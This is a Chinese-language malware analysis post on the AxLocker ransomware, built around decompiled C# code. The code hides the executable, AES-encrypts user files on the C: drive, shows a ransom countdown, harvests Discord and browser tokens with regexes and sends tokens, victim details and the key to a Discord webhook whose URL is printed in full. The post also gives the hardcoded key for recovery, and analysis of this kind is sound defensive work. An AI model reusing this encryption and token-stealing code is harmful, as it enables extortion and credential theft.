AxLocker新型勒索软件分析
浏览安全客时发现新出现了三款恶意软件,分别是AxLocker, OctoCrypt, Alice,本文分析其中的AxLocker,AXLocker勒索软件以一种相当典型的方式运行,在勒索受害者之前,针对某些带有AES加密的文件扩展名。
初步分析
是.NET程序,并且有GUI界面
使用dnspy加载,进入到主函数
private static void Main() { Program.hidefile(); Program.startencryption(); Program.show(); }
程序写的很清晰,竟然没有混淆,应该是刚出来还没有完善版本
程序首先隐藏自身
private static void hidefile() { File.SetAttributes(Application.ExecutablePath, FileAttributes.Hidden); }
然后加密文件并展示提示
加密行为分析
加密C盘下的所有文件
public static void startencryption() { string targetDirectory = "C:\\"; Program.ProcessDirectory(targetDirectory, 1, ""); }
虽然看上去只加密C盘文件有点离谱,但是看过了我妹的C盘红色其它盘空的我也觉得正常。毕竟这里面有下载、文档等重要的数据文件,很多社交软件聊天记录、软件数据也存储在这里
然后处理文件
public static void ProcessDirectory(string targetDirectory, int action, string password) { IEnumerable<string> enumerable = from file in Directory.EnumerateFiles(targetDirectory, "*.*") where Program.extensionsToEncrypt.Any((string x) => file.EndsWith(x, StringComparison.OrdinalIgnoreCase)) select file; // 忽略大小写比对文件后缀 foreach (string fileName in enumerable) { Program.ProcessFile(fileName, action, password); } string[] directories = Directory.GetDirectories(targetDirectory); foreach (string text in directories) { try { bool flag = !text.Contains("All Users\\Microsoft\\") && !text.Contains("$Recycle.Bin") && !text.Contains("C:\\Windows") && !text.Contains("C:\\Program Files") && !text.Contains("Temporary Internet Files") && !text.Contains("AppData\\") && !text.Contains("\\axlockerkey\\") && !text.Contains("C:\\ProgramData\\") && !text.Contains("\\Axlocker-data\\") && !text.Contains("\\AXLOCKER\\"); if (flag) { Program.ProcessDirectory(text, action, password); } } catch { } }
首先根据后缀名过滤掉一些文件,后缀名为
"7z","rar","zip","m3u","m4a","mp3","wma","ogg","wav","sqlite","sqlite3","img","nrg","tc","doc","docx","docm","odt","rtf","wpd","wps","csv","key","pdf","pps","ppt","pptm","pptx","ps","psd","vcf","xlr","xls","xlsx","xlsm","ods","odp","indd","dwg","dxf","kml","kmz","gpx","cad","wmf","txt","3fr","ari","arw","bay","bmp","cr2","crw","cxi","dcr","dng","eip","erf","fff","gif","iiq","j6i","k25","kdc","mef","mfw","mos","mrw","nef","nrw","orf","pef","png","raf","raw","rw2","rwl","rwz","sr2","srf","srw","x3f","jpg","jpeg","tga","tiff","tif","ai","3g2","3gp","asf","avi","flv","m4v","mkv","mov","mp4","mpg","rm","swf","vob","wmv"
然后需要判断文件是否非空
public static bool extension(string fileName) { byte[] bytes = Encoding.ASCII.GetBytes(fileName); byte[] second = File.ReadAllBytes(fileName).Take(0).ToArray<byte>(); bool flag = bytes.SequenceEqual(second); bool result; if (flag) { Program.count++; Program.encryptedFiles.Add(fileName); result = true; } else { result = false; } return flag;}
最后来个加密
public static void EncryptFile(string fileUnencrypted) { byte[] array = Encoding.UTF8.GetBytes(Program.password); array = SHA256.Create().ComputeHash(array); byte[] bytesToBeEncrypted = File.ReadAllBytes(fileUnencrypted); byte[] array2 = Program.AES_Encrypt(bytesToBeEncrypted, array); FileStream fileStream = File.Open(fileUnencrypted, FileMode.Open); fileStream.SetLength(0L); fileStream.Close(); using (FileStream fileStream2 = new FileStream(fileUnencrypted, FileMode.Append)) { bool canWrite = fileStream2.CanWrite; if (canWrite) { byte[] bytes = Encoding.UTF8.GetBytes(""); fileStream2.Write(bytes, 0, bytes.Length); fileStream2.Write(array2, 0, array2.Length); Console.WriteLine("Encrypted: " + fileUnencrypted); Program.count++; Program.encryptedFiles.Add(fileUnencrypted); } } }
通过FileStream.SetLength
清空文件,然后写入AES加密后的文件内容。AES加密的key是固定的,为WnZr4u7xh60A2W4Rz
的sha256值。并且加密过程中还会统计加密的文件列表
至此加密过程就完成了,接下来展示勒索信息和窃取discord凭证
展示勒索信息分析
private static void show() { bool flag = File.Exists("C:\\\\Windows\\\\AppMon.txt"); if (flag) { MessageBox.Show("ERROR, Private key was deleted."); Environment.Exit(-2); } else { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); Application.Run(new AXLOCKER()); } }
首先是判断AppMon.txt
是否存在,如果不存在则展示勒索信息。应该是关机之后再次开机,就会展示私钥丢失
然后展示一个计时器,用于心理威胁
private void Timer1_Tick(object sender, EventArgs e) { bool flag = this.delay >= 0; if (flag) { TimeSpan timeSpan = TimeSpan.FromSeconds((double)(--this.delay)); this.lblTime.Text = timeSpan.ToString("dd\\:hh\\:mm\\:ss"); } else { File.Delete("C:\\\\Windows\\\\winlog.txt"); } }
然后创建了一个AppMon.txt
base.MinimizeBox = false; base.MaximizeBox = false; StreamWriter streamWriter = new StreamWriter("C:\\\\Windows\\\\AppMon.txt"); streamWriter.Write("ERROR, Private key was deleted."); streamWriter.Close();
窃取信息分析
程序会利用一个Grabber类进行信息的窃取
public static List<string> Grab() { Grabber.Scan(); List<string> list = new List<string>(); foreach (string text in Grabber.target) { bool flag = Directory.Exists(text); if (flag) { string path = text + "\\Local Storage\\leveldb"; DirectoryInfo directoryInfo = new DirectoryInfo(path); foreach (FileInfo fileInfo in directoryInfo.GetFiles("*.ldb")) { string input = fileInfo.OpenText().ReadToEnd(); foreach (object obj in Regex.Matches(input, "[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27}")) { Match match = (Match)obj; list.Add(match.Value); } foreach (object obj2 in Regex.Matches(input, "mfa\\.[\\w-]{84}")) { Match match2 = (Match)obj2; list.Add(match2.Value); } } } } return list; }
并且会利用正则表达式窃取有关信息
窃取的信息列表如下
private static void Scan() { string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); string folderPath2 = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); Grabber.target.Add(folderPath + "\\Discord"); Grabber.target.Add(folderPath + "\\discordcanary"); Grabber.target.Add(folderPath + "\\discordptb"); Grabber.target.Add(folderPath + "\\\\Opera Software\\Opera Stable"); Grabber.target.Add(folderPath2 + "\\Google\\Chrome\\User Data\\Default"); Grabber.target.Add(folderPath2 + "\\BraveSoftware\\Brave-Browser\\User Data\\Default"); Grabber.target.Add(folderPath2 + "\\Yandex\\YandexBrowser\\User Data\\Default"); }
包括Discord,Opera,Chrome,Yandex,Brave等软件的数据会被窃取。但是只窃取了ldb文件内容
然后会通过webhook发送
Webhook webhook2 = new Webhook(AXLOCKER.WEBHOOK); webhook2.Send(string.Concat(new string[] { "**Program executed** ```Status: Active PC Name: ", details2[0], "User: ", details2[1], "UUID: ", identifier2, "IP Address: ", ip2, "```" })); webhook2.Send(string.Concat(new string[] { "```Decryption Key: ", text9, "User ID: ", text7, "```" })); webhook2.Send("```Tokens:" + text10 + "```");
目标地址为https[:]//discord.com/api/webhooks/1039930467614478378/N2J80EuPMXSWuIBpizgDJ-75CB6gzTyFE72NQ0DJimbA7xriJVmtb14gUP3VCBBZ0A
同时发送的还有其它用户信息
List<string> details = User.GetDetails(); string identifier = User.GetIdentifier(); string ip = User.GetIP();
最后确实保存了一个私钥,但是似乎没用
using (MD5CryptoServiceProvider md5CryptoServiceProvider2 = new MD5CryptoServiceProvider()) { byte[] key2 = md5CryptoServiceProvider2.ComputeHash(Encoding.UTF8.GetBytes(this.hash)); using (TripleDESCryptoServiceProvider tripleDESCryptoServiceProvider2 = new TripleDESCryptoServiceProvider { Key = key2, Mode = CipherMode.ECB, Padding = PaddingMode.PKCS7 }) { ICryptoTransform cryptoTransform2 = tripleDESCryptoServiceProvider2.CreateEncryptor(); byte[] array6 = cryptoTransform2.TransformFinalBlock(bytes2, 0, bytes2.Length); string value2 = Convert.ToBase64String(array6, 0, array6.Length); StreamWriter streamWriter3 = new StreamWriter("C:\\\\Windows\\\\winlog.txt"); streamWriter3.Write(value2); streamWriter3.Close(); this.timer1.Start(); base.Show(); webhook2.Send(string.Format("```Files encrypted, file count: {0}```", Program.count));}}
总结
这个勒索病毒似乎还处于初级阶段,很多内容不够成熟,例如窃取的信息、加密方式、加密密钥保存,后续可能会有变种。
如果感染,使用程序内包含的密钥AES解密就可以
